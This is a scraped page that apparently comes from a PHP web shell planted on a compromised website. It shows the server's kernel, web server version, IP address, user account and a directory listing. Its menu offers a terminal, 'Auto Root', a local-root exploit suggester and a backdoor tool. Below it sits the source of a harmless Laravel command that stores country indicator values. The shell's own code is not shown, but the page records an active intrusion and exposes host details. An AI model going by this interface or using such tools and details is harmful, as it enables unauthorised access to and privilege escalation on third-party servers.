Linux unitednationsplay.com 3.10.0-1160.45.1.el7.x86_64 #1 SMP Wed Oct 13 17:20:51 UTC 2021 x86_64
nginx/1.20.1
Server IP : 188.130.139.92 & Your IP : 3.147.44.253
Domains :
Cant Read [ /etc/named.conf ]
User : web
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
home /
www /
unp /
app /
Console /
Commands /
Delete
Unzip
Name
Size
Permission
Date
Action
IndicatorSave.php
2.3
KB
-rw-r--r--
2021-05-26 06:56
IndicatorUpdate.php
2.97
KB
-rw-r--r--
2021-05-24 10:37
Save
Rename
<?php namespace App\Console\Commands; use Illuminate\Console\Command; use Illuminate\Mail\Message; use Illuminate\Support\Facades\Redirect; use Illuminate\Http\Request; use Session; use DB; class IndicatorSave extends Command { /** * The name and signature of the console command. * * @var string */ protected $signature = 'indicator:save'; /** * The console command description. * * @var string */ protected $description = 'Сохранение индикатора'; /** * Create a new command instance. * * @return void */ public function __construct() { parent::__construct(); } /** * Execute the console command. * * @return mixed */ public function handle() { $borders = DB::table('borders')->orderBy('id', 'asc')->get(); $top_border = $borders[0]->value; $bottom_border = $borders[1]->value; $impact_range = $borders[4]->value; $arSave = array(); $countries = DB::table('indicator')->orderBy('id', 'asc')->get(); foreach ($countries as $country) { $arSave[substr($country->flag,0,2)] = $country->position; } DB::table('indicator_save')->insert([ "border_top" => $top_border, "border_bottom" => $bottom_border, "impact_range" => $impact_range, "GB" => $arSave["GB"], "FR" => $arSave["FR"], "NL" => $arSave["NL"], "NO" => $arSave["NO"], "GE" => $arSave["GE"], "IT" => $arSave["IT"], "SW" => $arSave["SW"], "SA" => $arSave["SA"], "RU" => $arSave["RU"], "FI" => $arSave["FI"], "EG" => $arSave["EG"], "KW" => $arSave["KW"], "CH" => $arSave["CH"], "KO" => $arSave["KO"], "JP" => $arSave["JP"], "US" => $arSave["US"], "MX" => $arSave["MX"], "BR" => $arSave["BR"], "ES" => $arSave["ES"], "created_at" => date("Y-m-d H:i:s"), "updated_at" => date("Y-m-d H:i:s"), ]); } function checkWithProbability($probability=0.6, $length=1) { $test = mt_rand(1, $length); return $test<=$probability*$length; } }